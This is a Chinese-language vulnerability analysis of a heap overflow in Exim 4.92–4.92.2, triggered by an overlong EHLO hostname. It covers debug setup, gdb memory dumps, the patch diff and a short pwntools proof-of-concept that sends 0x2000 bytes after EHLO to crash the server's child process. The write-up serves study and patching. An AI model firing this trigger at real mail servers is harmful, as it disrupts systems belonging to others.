调试环境搭建

(1) git clone https://github.com/Exim/exim.git

(2) git checkout 2600301ba6dbac5c9d640c87007a07ee6dcea1f4 

#切换到4.92.2 版本

(3) cd src

mkdir Local

(4) cp src/EDITME Local/Makefile
 
# 编辑Local/Makefile
 
“EXIM_USER=”改为“EXIM_USER=test”
 
# 注释EXIM_MONITOR=eximon.bin
------------------------------------
# 或者使用之前分析的Makefile文件:

wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile

# 修改EXIM_USER为当前系统上的用户

(5) 在Makefile最后添加一行:

CFLAGS += -g 进行源码调试

(6) cd ..

make && make install

(7) 启动

sudo /usr/exim/bin/exim -bdf -dd (-d+all输出信息更详细)

(8)配置文件

sudo vim /usr/exim/configure

将配置文件中的accept hosts = : 修改成 accept hosts = *

该漏洞在调试时如果是本地调试需要断网,不然无法触发漏洞

影响版本

Exim 4.92 ~ 4.92.2

漏洞描述

漏洞代码位于:/src/src/string.c:string_vformat函数:(4.92.2版本)

gstring_grow代码如下:

1590		gstring_grow(g, g->ptr, width - (lim - g->ptr));
gdb-peda$ p width
$7 = 0x2000
gdb-peda$ p lim
$8 = 0x80
gdb-peda$ p g->ptr
$9 = 0x12
gdb-peda$ p g
$10 = (gstring *) 0x2046930
gdb-peda$ x/10gx g
0x2046930:	0x0000001200000081	0x0000000002046940
0x2046940:	0x6f62736f20303532	0x6c6c654820736578
0x2046950:	0x000000000000206f	0x0000000000000000
0x2046960:	0x0000000000000000	0x0000000000000000
0x2046970:	0x0000000000000000	0x0000000000000000

在gstring_grow函数中会进行判断,如果EHLO发送的字符串过长,需要扩展堆块。例如传入字符串长度为0x2000,此时会通过store_newblock分配一个新的堆块,堆块大小为0x2020。

分配前:

分配后:

gdb-peda$ p g->ptr
$28 = 0x12
gdb-peda$ p g->s
$29 = (uschar *) 0x2048950 "250 osboxes Hello "
gdb-peda$ p gp
$30 = 0x2048962 ""

而字符串开始拼接的地方从gp开始:

g->ptr += sprintf(gp, "%*.*s", width, precision, s);

gdb-peda$ p width
$7 = 0x2000

拼接的长度为0x2000,所以拼接后的地址为:0x2048962+0x2000=0x204a962,溢出了19个字节,覆盖下一个堆块的presize,size以及fd的3个字节(包括字符串结束符\0)

导致后面堆块分配时崩溃:

但崩溃的是子进程,主进程会重新起一个子进程。

补丁分析

--- a/src/src/string.c
+++ b/src/src/string.c
@@ -1132,7 +1132,7 @@ store_reset(g->s + (g->size = g->ptr + 1));
 Arguments:
   g            the growable-string
   p            current end of data
-  count                amount to grow by
+  count                amount to grow by, offset from p
 */

 static void
@@ -1590,7 +1590,7 @@ while (*fp)
        }
       else if (g->ptr >= lim - width)
        {
-       gstring_grow(g, g->ptr, width - (lim - g->ptr));
+       gstring_grow(g, g->ptr, width);
        lim = g->size - 1;
        gp = CS g->s + g->ptr;
        }

漏洞形成原因是由于分配的堆块太小导致溢出,所以分配符合字符串大小的堆块就可以避免溢出。

Poc代码

from pwn import *
import time
context.log_level = 'debug'

def EHLO(r,hostname):  
    time.sleep(1)
    r.sendline("EHLO "+hostname)
    r.recvline()

if __name__=='__main__':
    r = remote('localhost',25)
    payload = 'x'*0x2000
    EHLO(r,payload) 
    r.interactive()

漏洞利用尝试

参考链接

https://seclists.org/oss-sec/2019/q3/253